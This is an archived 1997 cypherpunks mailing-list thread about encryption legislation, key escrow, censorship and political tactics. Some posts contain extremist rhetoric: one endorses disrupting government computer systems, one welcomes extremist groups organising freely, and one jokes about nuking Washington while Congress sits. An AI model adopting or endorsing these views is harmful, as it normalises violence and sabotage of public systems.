>AT&T dismemberment! 
>  Hoo-boy!

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNCGS/sdZgC62U/gIEQJRfwCgzM5bTHJx6L+oB4dIylrfSHPz8nIAoPh7
J9pGVrkG+cmaWZCyMtAFqtg1
=jc+B
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Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "It is one of the most beautiful compensations in life that no 
   man can sincerely try to help another, without helping himself."
       -- Ralph Waldo Emerson






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Sep 1997 08:40:31 +0800
To: cypherpunks@toad.com
Subject: Israeli authorities censor book, confiscate copies (fwd)
Message-ID: <Pine.GSO.3.95.970918172056.3957H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Thu, 18 Sep 1997 17:20:52 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Israeli authorities censor book, confiscate copies

[Shame on the Israeli government. I suspect this would be an interesting
case for web-based mirroring. --Declan]

---

	TEL AVIV, Israel (AP) - A Tel Aviv court on Thursday temporarily
banned the sale of a book about a missing Israeli submarine after state
prosecutors claimed it endangered national security.
	Hundreds of copies of the book were ordered off bookstore shelves.
Author Michael Eldar said police searched his house and confiscated
several copies of the book as well as other documents.
[...]
	The case is unusual because the manuscript had been approved, as
required of all security-related material, by Israel's military censor.
[...]


---------- Forwarded message ----------
Date: Thu, 18 Sep 1997 11:49:20 0200
From: "Eviather H. Ben-Zedeff" <evi@research.haifa.ac.il>
To: declan@well.com
Subject: Israeli authorities endangering freedom of the press

hi,

I am a journalism teacher and an editor in Israel. A friend of mine, 
Captain Mike Eldar, Israeli Navy (Ret) asked me 18 months ago to edit 
an autobiography and a book he wrote. During 1997, both books were 
published and suppressed by the Israeli military.

Please, help us to fight brutal censorship in Israel. Support freedom 
even in this remote part of the Middle East.


Eviathar H. Ben-Zedeff
Department of Communication
Haifa University
Mt Carmel, Haifa, Israel
<evi@research.haifa.ac.il>



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Fri, 19 Sep 1997 08:55:54 +0800
To: jim.burnes@ssds.com>
Subject: Re: Preparing the Remnant for the far side of the crisis
In-Reply-To: <Pine.LNX.3.95.970918122938.805B-100000@is-chief>
Message-ID: <Chameleon.874619969.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



An interesting sidenote on this... will they be able to print money?
We'd probably never notice it unless the interruption was prolonged, but it 
could have some interesting consequences if word leaked out.


------------------------
  From: Jim Burnes <jim.burnes@ssds.com>

On Thu, 18 Sep 1997, Robert Hettinga posted:
(and someone else wrote)

> >
> >     In 1999, chaos will hit the financial markets, all over the world 
--
> >assuming that this does not happen earlier, which I do not assume.  The
> >public will know the truth in 1999: THE DEFAULT ON U.S.
> >GOVERNMENT DEBT IS AT HAND.  The tax man won't be able to
> >collect in 2000.  The tax man will be blind.  Consider how many banks
> >and money market funds are filled with T-bills and T-bonds.  Consider
> >how the government will operate with the IRS completely shut down.
> >Congress hasn't thought much about this.  Neither has Bill Clinton.

Two words,

"Sell Bonds!"


> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/

Interesting juxtaposition, eh?

Jim Burnes

      "How do you explain school to higher intelligence?"
               Elliot to his brother in ET



---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/18/97
Time: 17:57:47
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 19 Sep 1997 09:11:19 +0800
To: cypherpunks@toad.com
Subject: Re: ALERT: On Monday, call Congress to stop Big Brother amendment!
Message-ID: <3.0.32.19970918180053.00689f48@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote, citing an industry lobbyist:

>The answer: "I don't think compromise is the right word. But we need to
>give something to law enforcement."
......................................................


They could be given the idea that it would be of practical use to us
Citizen-Units if they would help us to help ourselves.

Of course, they want to be the knights who slay the fire-eating dragons,
who consummate all the power and the glory, amen.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Sep 1997 06:27:44 +0800
To: sameer <sameer@c2.net>
Subject: Re: ALERT: On Monday, call Congress to stop Big Brother amendment!
In-Reply-To: <Pine.BSF.3.96.970918154109.12024A-100000@shell.inch.com>
Message-ID: <v03007809b04756602d35@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



I just got off a phone with an industry lobbyist. The conversation went
something like this.

"Can there be a compromise?" I asked. "I don't think there can be one that
will satisfy all three or four parties involved." (I was thinking: law
enforcement, national security, business, and privacy interests.)

The answer: "I don't think compromise is the right word. But we need to
give something to law enforcement."

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 19 Sep 1997 09:21:42 +0800
To: Mark Hedges <cypherpunks@cyberpass.net
Subject: Re: politics aren't all or nothing
In-Reply-To: <Pine.SOL.3.96.970918145504.29000S-100000@sirius.infonex.com>
Message-ID: <v03102804b04781886c99@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Mostly, I just don't want to get nuked. I don't want the people in
>Washington to get nuked. I don't want to be ostracized because a
>disjointed group I'm associated with has members who support nuking
>political opponents. "Nuke DC" is crap. "Ecash Assassination Politics" is
>crap. The loss of faith in one's ability to convince other people with
>rational discussion is crap. That whole attitude reminds me of the guys in
>early grade school who beat up on me because I was a nerd. I refuse to
>sink to their level.

I agree that Nuking D.C. would be a shame.  Think of the Smithsonian and
all those national treasures which would be destroyed.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Fri, 19 Sep 1997 07:28:27 +0800
To: <cypherpunks@toad.com>
Subject: Re: Crypto-law etc
Message-ID: <199709182314.SAA23318@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



> From: Chuck McManis <cmcmanis@FreeGate.net>
> To: cypherpunks@toad.com
> Subject: Crypto-law etc
> Date: Wednesday, September 17, 1997 2:35 PM
 
> The longer I follow the crypto "debate" the more I begin to
> understand what must have been the real intent behind the
> 2nd amendment of the constitution.
> 
> If the White House can get crypto code defined in the true
> legal sense (that is backed up by case law) as a munition,
> do US citizens then have a constitutional right to "bear" it?

Sure.  We get the same right to bear it as we have to own rocket
launchers, machine guns, or flame throwers--none.  The second 
amendment hasn't protected our right to possess those things, 
which pretty clearly fall into the realm of its direct intentions--why
would it protect our right to use crypto, which isn't even that clear
cut?  
 
> Just curious,
> --Chuck

--John Kelsey, kelsey@counterpane.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@sirius.infonex.com>
Date: Fri, 19 Sep 1997 09:34:22 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: politics aren't all or nothing
In-Reply-To: <v0300780db0476ec4e917@[168.161.105.141]>
Message-ID: <Pine.SOL.3.96.970918180738.29000a-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 18 Sep 1997, Declan McCullagh wrote:
>
>In fact, I could see Tim May arguing if they understand the implications of
>crypto, they'll //definitely// vote the wrong way.

Yes, there I was possibly wrong in using M. May as an example in the
"politicians aren't stupid / smart people must do good" line. Still, in
the line of "let's not nuke Washington", it was appropriate.

>Sure, you got //someone's// attention. From an $18,000-a-year

They authorize their junior staffers to use their name? Lame!

>>While skimming their web pages looking for information, I found one or two
>>senators and congress reps who actually offer PGP keys on their web pages!
>
>So they have well-informed staffers. So what?

It indicates they are concerned about the security of their
communications. Now, the trick is to convince them that escrow hampers
security of communications through the single point of failure problem.

"Let's just say we want to avoid any Imperial entanglements."

"Well, uh, that's the real trick, isn't it...and it's gonna cost you
something extra."

>Senator Leahy is also the fellow who brokered the Digital Telephony deal

Ah, more research is necessary. I printed his stuff but haven't read it
yet. There was one, though, who even had a blue ribbon on their web page.
I've forgotten who.

>>possession a testimony that a defense and intelligence _scholar_ says that
>>the spooks are wrong, they may be able to start turning the tide.
>
>Not quite. Even if they have it, it is (a) difficult to vote against
>national security and child porn and (b) even more difficult to get
>anywhere in this town if you offend law enforcement, national security, or
>the defense communities. Let alone all three.

I think a good tactic is to say to them "it's more difficult to vote
against the vast majority of your constituents" and use examples like
public opinion polls (are there any?) and California Legislature's SJR-29
(unanimous memorialization of Clinton and Congress to relax export
controls). 

In related news, Vasconcellos, the author of SJR-29 and SB-1133 (a strong
crypto promotion bill) is to announce soon if he will vie for the
Democratic nominee for California Governor. He'd be up against current Lt. 
Governor Gray Davis, whose views contrast a little with Pete Wilson's but
not too much. 

>Besides, they've had the NRC report for a year and a half. It's hardly in
>favor of mandatory key escrow rules, and it's co-authored by some spooks.
>Think that changed anything? Guess again.

Does anyone know who is behind this crap that the Empire's pushing on the
committees? Louis Freeh is the only name I've heard. I've not heard
Tenet's name mentioned in any of this. It would be interesting to research
the other people involved, to try to find some dirt.

Mark Hedges






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Sep 1997 09:44:01 +0800
To: Mark Hedges <hedges@sirius.infonex.com>
Subject: Re: politics aren't all or nothing
In-Reply-To: <Pine.SOL.3.96.970918180738.29000a-100000@sirius.infonex.com>
Message-ID: <Pine.GSO.3.95.970918182839.3957O-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 18 Sep 1997, Mark Hedges wrote:

> >Sure, you got //someone's// attention. From an $18,000-a-year
> 
> They authorize their junior staffers to use their name? Lame!

Yeah, well, you probably got a form letter( they have lots of form
letters). If it was an original reply, a middle-level or senior-level
staffer okayed it.

> It indicates they are concerned about the security of their
> communications. Now, the trick is to convince them that escrow hampers
> security of communications through the single point of failure problem.

No, it indicates they want to appear to be friends of the Net so they can
pick up some bucks from lobbyists and high tech firms.

> Ah, more research is necessary. I printed his stuff but haven't read it
> yet. There was one, though, who even had a blue ribbon on their web page.
> I've forgotten who.

Votes count more than 10K GIFs.

> I think a good tactic is to say to them "it's more difficult to vote
> against the vast majority of your constituents" and use examples like
> public opinion polls (are there any?) and California Legislature's SJR-29
> (unanimous memorialization of Clinton and Congress to relax export
> controls). 

As many have pointed out it depends on the way the polls is phrased.
"Should convicted child molesters have unbreakable crypto?" Ban it now! As
for the SJR-29, your do have a good point. The tide is turning. But it'll
take years, and the battle is happening in Congress now. Defeat for
crypto-proponents is at hand...

> Does anyone know who is behind this crap that the Empire's pushing on the
> committees? Louis Freeh is the only name I've heard. I've not heard
> Tenet's name mentioned in any of this. It would be interesting to research
> the other people involved, to try to find some dirt.

The classified briefings include NSA, CIA, DEA, and FBI. Some are
restricted, codeword-only. There are multiple levels. I've been finding
out more but I'm working on a long-term article about this so I won't post
anything now. 

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Sep 1997 06:43:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New Computer Security Act
In-Reply-To: <v03102807b04725f6f699@[207.167.93.63]>
Message-ID: <v0300780cb0475ca1a598@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 17:16 -0400 9/18/97, Declan McCullagh wrote:
>There's plenty of time since Air Force One only takes two hours to cross
>the country. This from other folks in the bureau who have travelled with

I must be confused. I don't think even AF1 is that fast. Make that two
hours with the time difference.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 19 Sep 1997 08:04:52 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: New Computer Security Act
In-Reply-To: <v0300780cb0475ca1a598@[168.161.105.141]>
Message-ID: <199709182353.TAA19912@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0300780cb0475ca1a598@[168.161.105.141]>, on 09/18/97 
   at 06:34 PM, Declan McCullagh <declan@well.com> said:

>At 17:16 -0400 9/18/97, Declan McCullagh wrote:
>>There's plenty of time since Air Force One only takes two hours to cross
>>the country. This from other folks in the bureau who have travelled with

>I must be confused. I don't think even AF1 is that fast. Make that two
>hours with the time difference.

It is my understanding that AF1 & AF2 are just modified 747's. I doubt
that they can go cross country much faster than the commerical version.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@sirius.infonex.com>
Date: Fri, 19 Sep 1997 10:30:50 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: politics aren't all or nothing
In-Reply-To: <Pine.GSO.3.95.970918182839.3957O-100000@well.com>
Message-ID: <Pine.SOL.3.96.970918183742.12752B-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 18 Sep 1997, Declan McCullagh wrote:
>Yeah, well, you probably got a form letter( they have lots of form
>letters). If it was an original reply, a middle-level or senior-level
>staffer okayed it.

I think the latter was the case. I got lots of the form responses. This
came 10 hours later and appeared hastily written. I feel special! Gosh,
democracy really works! (I'm not saying it was a big deal.) 

>No, it indicates they want to appear to be friends of the Net so they can
>pick up some bucks from lobbyists and high tech firms.
>Votes count more than 10K GIFs.

This is why I invited y'all to call me a naive idiot --- it's this cynical
stereotyping of politicians which I think more than anything obstructs
one's own attempts to talk to them and induce change rationally. If you
walk up to some random person in a bar supposing they're probably going to
knock you flat, they probably will. If you walk up to them thinking
they'll provide entertaining discussion on Heidegger, well, wait, umm...
Anyway, you see my point. Of course, you're the guy who talks to the
political community on a regular basis. Maybe they really are all clones
programmed by the government...but I doubt that. It's a novel experience
for me, so perhaps I haven't become jaded (realistic?). 

(Jade is (a) pretty (plant), though.) 

Question yourself, all y'all revolutionaries, what does the hopeless
attitude get you? Adrenalin while you get mad and hop up and down? An
excuse to use your A-K and pop a couple feds before they do the natural
thing and shoot you down? "It was a very good day ... I didn't even have
to use my A-K."

Still, I bet the lobbyists and funders who spent so much time, effort, and
coins on pushing SAFE and the rest of the (even somewhat) pro-crypto bills
are feeling pretty hopeless right now. I don't blame them. I also don't
want to sound sappy like little orphan Annie, shining with hope in the
face of the end of the world, but there's always tomorrow.

>> I think a good tactic is to say to them "it's more difficult to vote
>> against the vast majority of your constituents" and use examples like
>> public opinion polls (are there any?) and California Legislature's SJR-29
>> (unanimous memorialization of Clinton and Congress to relax export
>> controls). 
>
>As many have pointed out it depends on the way the polls is phrased.
>"Should convicted child molesters have unbreakable crypto?" Ban it now! As
>for the SJR-29, your do have a good point. The tide is turning. But it'll
>take years, and the battle is happening in Congress now. Defeat for
>crypto-proponents is at hand...

"Who writes the goddamn polls?" comes to mind. Yes, this is extremely
unfortunate. I have been wondering if the unhealthy and unwholesome spam
might be useful for this --- it would be cheap, and easy to collect survey
information. Alternatively, there might be away to do that from a web
page. Of course, people would have to go read the page. That would take
some advertising. My guess is that banner ads on the Anonymizer probably
are _too_ selectively biased --- we'd need a wide distribution.

There's always spam for sending out "the real dirt" on stuff like Panama,
Grenada, Iraq, CIA & money laundering & crack, the silent black
helicopters, Santa Cruz Island, Waco, Ruby Ridge, illegal wiretaps,
missing submarines, accidentally sold nuclear facilities, the memetics
programming, and how much money gets spent on this stuff, then
justification for either more extensive checks and balances or an
unempowered, minimal government, and finally, a plan for how to collapse
and rebuild the system without people getting hurt. I guess I would
appreciate that more than spam selling spam software.  Still, there's a
question as to whether it would hurt or help "the cause" of informing the
masses what's really going on. "National Security"? Do most people really
have any idea about who and what is to be kept "secure"? 

Has anyone ever taken a poll which has questions stilted both one way and
the other, just to see people say "I want X and not-X"?

(ubergovernment)
>I'm working on a long-term article about this so I won't post
>anything now. 

I look forward to reading that piece.

Mark Hedges





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Sep 1997 10:52:15 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Because they want to be "players"
In-Reply-To: <199709181945.MAA20511@gabber.c2.net>
Message-ID: <v03102808b04792fd9407@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:53 PM -0700 9/18/97, Declan McCullagh wrote:

>But wait... The version of SAFE "as is" contains the ***FIRST EVER***
>domestic restrictions on encryption! Why should it be passed intact? For
>the sake of Beltway politicking and deal-cutting?
>
>It includes very, very troubling severe criminal penalties for the use of
>encryption in a crime. When encryption is in everything from light switches
>to door knobs, any crime will include crypto, no? It would be like
>criminalizing "breathing air in the commission of a crime..."

Yes, SAFE is an evil bill. And anyone who supports the "use a cipher, go to
prison" language (*) is guilty of a most serious crime.

(* Some object to this slogan, saying that crypto use is not actually
outlawed. Well, neither were guns outlawed when the billboards went up in
California and other states: "Use a gun, go to prison." The meaning is
clear.)

>Why not just say "stop SAFE altogether?" No new laws are better than bad
>new laws. And even if the crypto-in-a-crime provisions are yanked, SAFE may
>be a bad bill. I wrote about this in June:

Indeed, I also condemned it earlier this year.
....
>Why are these organizations -- CDT, VTW, Wired, EFF, ATR -- urging it be
>passed intact, as is? Why should Americans give up their rights so business
>can make more money on encryption exports?
>

Because they want to be "players." And to be "players," they feel they have
to get in their at the pork barrel and bargain away our rights.

Fuck them all. They are all scum.

(The ACLU is far from perfect, but I am gaining new respect for their
absolutist stance on most civil liberties issues. I am assuming that the
ACLU will not support the "speak in Spanish while committing a crime and
get an extra 10 years" language? This, by the way, is what the "use a
cipher" language is exactly parallel to.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Sep 1997 10:57:04 +0800
To: Declan McCullagh <hedges@sirius.infonex.com>
Subject: Re: politics aren't all or nothing
In-Reply-To: <Pine.SOL.3.96.970918145504.29000S-100000@sirius.infonex.com>
Message-ID: <v03102809b04797629c55@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:01 PM -0700 9/18/97, Declan McCullagh wrote:
>At 15:16 -0700 9/18/97, Mark Hedges wrote:
>>My problem with the "it's hopeless, politicians are idiots" approach is
>>the same as my problem with Tim May's approach
>
>Sure, not all DC politicans are idiots. Most are damn smart. All are
>cunning. But just because they understand the technology doesn't mean
>they're going to vote the right way.
>
>In fact, I could see Tim May arguing if they understand the implications of
>crypto, they'll //definitely// vote the wrong way.

In fact, I _have_ argued exactly this point.

Hoping that if only Congress spends more time learning about an issue, or
that we educate them better, or that smarter people enter politics, is
missing the entire point.  The technologies we are promoting are the tools
to undermine the State, make tax collection harder, and ensure that groups
like White Aryan Resistance and Hamas and so on can thrive and link up
globally, transnationally, and without government interference. In short,
the stuff I've had in my .sig for the past five years.

Democracy is the problem, not the solution. Thus, nothing Congress can do
is good for our goals, except to get the fuck out of the way. And the best
way to do that is for them to be paralyzed and confused. (This is why I
favor feeding them disinformation, and even disrupting their computer and
other systems. Get those burrowcrats spinning in their warrens.)


>>I got a personal reply from a Senator to whom I sent that last release
>>(the one interviewing Michael Wilson of 7Pillars). It wasn't one of those
>>autoresponders -- it just said "Thank you for your views" with bad text
>>formatting. At least it did get someone's attention. It might be negative
>
>Sure, you got //someone's// attention. From an $18,000-a-year
>just-out-of-college staffer who lives in a group house in Arlington, VA
>with three other people who gets paid to answer phones, open letters,
>address envelopes, and reply to email. You think it was "a a personal reply
>from a Senator?" Not a chance.

Declan echoes my cynicism. Oh, and the other thing those junior politician
wannabees do is weigh the pro/con letters. (Which is why the Republican
Right set up huge direct mail campaigns in the late 70s.)

Politics is not the answer.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 19 Sep 1997 08:51:04 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Subscription sites for CDR...
Message-ID: <199709190059.TAA03716@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 18 Sep 1997 11:44:24 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: New Computer Security Act

> (Toad.com address changed to algebra.com. Hugh Daniel confirmed to me that
> about 130 subscribers are still using the toad.com address. And he
> confirmed that none of them are getting the traffic sent to the "real"
> Cypherpunks lists, those at algebra.com, cyberpass.net, and ssz.com. I
> again urge folks to get with the program. Toad.com is going to vanish
> someday, at least as any kind of distribution site for CP traffic.)

There is also cypherpunks-e@htp.org now...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Sep 1997 08:07:14 +0800
To: Mark Hedges <hedges@sirius.infonex.com>
Subject: Re: politics aren't all or nothing
In-Reply-To: <Pine.SOL.3.96.970918145504.29000S-100000@sirius.infonex.com>
Message-ID: <v0300780db0476ec4e917@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 15:16 -0700 9/18/97, Mark Hedges wrote:
>My problem with the "it's hopeless, politicians are idiots" approach is
>the same as my problem with Tim May's approach

Sure, not all DC politicans are idiots. Most are damn smart. All are
cunning. But just because they understand the technology doesn't mean
they're going to vote the right way.

In fact, I could see Tim May arguing if they understand the implications of
crypto, they'll //definitely// vote the wrong way.

>I got a personal reply from a Senator to whom I sent that last release
>(the one interviewing Michael Wilson of 7Pillars). It wasn't one of those
>autoresponders -- it just said "Thank you for your views" with bad text
>formatting. At least it did get someone's attention. It might be negative

Sure, you got //someone's// attention. From an $18,000-a-year
just-out-of-college staffer who lives in a group house in Arlington, VA
with three other people who gets paid to answer phones, open letters,
address envelopes, and reply to email. You think it was "a a personal reply
from a Senator?" Not a chance.

>their place. They're really well educated people, for the most part ---
>somewhere along the line they must have gotten that stuff about
>"considering that you are incorrect" and the rest.

Sure, but educated people still have to pander to get elected, and to get
money to get elected. Civil liberties are anti-majoritarian by their very
nature; they and legislatures are enemies.

>While skimming their web pages looking for information, I found one or two
>senators and congress reps who actually offer PGP keys on their web pages!

So they have well-informed staffers. So what?

>Senator Leahy, for one, is a vocal proponent of strong crypto. There is
>hope! Some of those people do see "the light" on this issue. It's a matter

Senator Leahy is also the fellow who brokered the Digital Telephony deal
that ensures all are phone conversations are readily wiretappable by the
Feds. And his wacky criminal copyright proposals. And what about his crypto
bill that encourages a key escrow infrastructure? With "friends" like him
who "see the light..."

>him. I think a lot of them know they're being manipulated, but they get
>only a limited set of information from the "authoritative" defense and
>intelligence people who give them the "secret classified briefings", and

>they simply can't confront the spooks because they think they'd get kicked
>from their positions of power in a few years. If they have in their
>possession a testimony that a defense and intelligence _scholar_ says that
>the spooks are wrong, they may be able to start turning the tide.

Not quite. Even if they have it, it is (a) difficult to vote against
national security and child porn and (b) even more difficult to get
anywhere in this town if you offend law enforcement, national security, or
the defense communities. Let alone all three.

Besides, they've had the NRC report for a year and a half. It's hardly in
favor of mandatory key escrow rules, and it's co-authored by some spooks.
Think that changed anything? Guess again.

>Mostly, I just don't want to get nuked. I don't want the people in
>Washington to get nuked.

Hear, hear!

Regards,

Declan
Washington, DC






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 19 Sep 1997 11:07:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: politics aren't all or nothing
In-Reply-To: <d7942bb95320ea1d67035501c7860342@anon.efga.org>
Message-ID: <v0310280ab0479a4a4b31@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:27 PM -0700 9/18/97, Anonymous wrote:
>Mark Hedges wrote:
>
>>Mostly, I just don't want to get nuked. I don't want the people in
>>Washington to get nuked. I don't want to be ostracized because a
>>disjointed group I'm associated with has members who support nuking
>>political opponents. "Nuke DC" is crap. "Ecash Assassination Politics" is
>>crap. The loss of faith in one's ability to convince other people with
>>rational discussion is crap. That whole attitude reminds me of the guys in
>>early grade school who beat up on me because I was a nerd. I refuse to
>>sink to their level.
>
>The guys who beat you up in grade school are now the ones who are
>running Congress.  They haven't matured, they are just upscale and
>have learned better techniques.

Exactly. Bullies with any intelligence at all move into jobs that use their
psychological bent: politics, law enforcement, the military, etc.

>The only problem I have with Tim May's "Nuke DC" is that he lacks
>the necessary qualifier:
>
>"Nuke D.C. now, while Congress is still in session"

And recall that this whole "Nuke D.C." thing is a misstatement of my
original statement. "Check the archives." What I said was that I would not
shed any tears to hear on CNN one fine morning that D.C. had gotten nuked.
And in other posts I haved opinined that D.C. is one of several "soft
targets" that are best avoided.

>From reading tonight several of Mark Hedges' posts, I surmise he is not all
careful with accurately getting his facts straight.

--Tim May


--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Sep 1997 09:12:40 +0800
To: cypherpunks@toad.com
Subject: Clinton speaks at Air Force, NSA birthday
Message-ID: <v03007810b0477726e198@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



	1:50 P.M. EDT
	THE PRESIDENT: Thank you very much.  Secretary Cohen, Secretary
Widnall, General Eberhart, Chaplain Dendinger, Chief Benkin.  To the
Air Force Band, the Air Force Academy Cadet Chorale, the friends and
families, especially the men and women of the United States Air
Force.  I'm delighted to be here as we celebrate this 50th
anniversary of the best Air Force in the world.
	Secretary Widnall thanked me for coming to your 50th birthday
party.  Actually, I thank you for having me.  Ever since I turned 50
myself, I've been looking for all the company I can find.
(Laughter.) And since I can't run for office anymore, Secretary
Cohen, I'm glad to come here and have this crowd you raised
for me.  I appreciate it very much.  (Laughter.)
	Ladies and gentlemen, 50 years ago, when our nation emerged from
the crucible of World War II, we faced a political and military
landscape that had been forever changed.  Our European allies were
devastated, the Iron Curtain was descending, the values for which we
had fought so dearly seemed under siege from Europe to Asia.  At that
moment, only the United States had the strength to uphold the
struggle for freedom around the world.  And though our people were
eager to turn their energies back home, we rose to the awesome
responsibility at hand, creating the institutions that would protect
our security and promote the cause of liberty and peace, and
eventually enable us to prevail in the Cold War and enjoy the
conditions that exist today, when, for the first time in human
history, more than one-half the people on this planet live under
governments of their own choosing.
	In 1947, 50 years ago, the four essential players in that
struggle came to life: the Central Intelligence Agency, the National
Security Council, the Department of Defense, and the United States
Air Force.  For the record, I think it should be noted that President
Truman signed this act aboard his so-called "Sacred Cow," the C-54
presidential aircraft that served back then as Air Force One.  In
case you're wondering, President Truman was just like me --he didn't
have an escape pod on his plane either.  (Laughter.) I might say, as
long as the Air Force is flying me, I don't feel the need for a way
out.  (Applause.)
	Fifty years later, our Air Force remains a world-class force
without peer, thanks to the extraordinary men and women who serve in
it.  Your soaring spirit, your dedication, your skill have helped
America to master the skies.  You've made us more secure.  You've
made the world a safer place.
	We have seen your courage and expertise in time of war.  We have
seen your compassion and sacrifice in time of peace.  We have seen
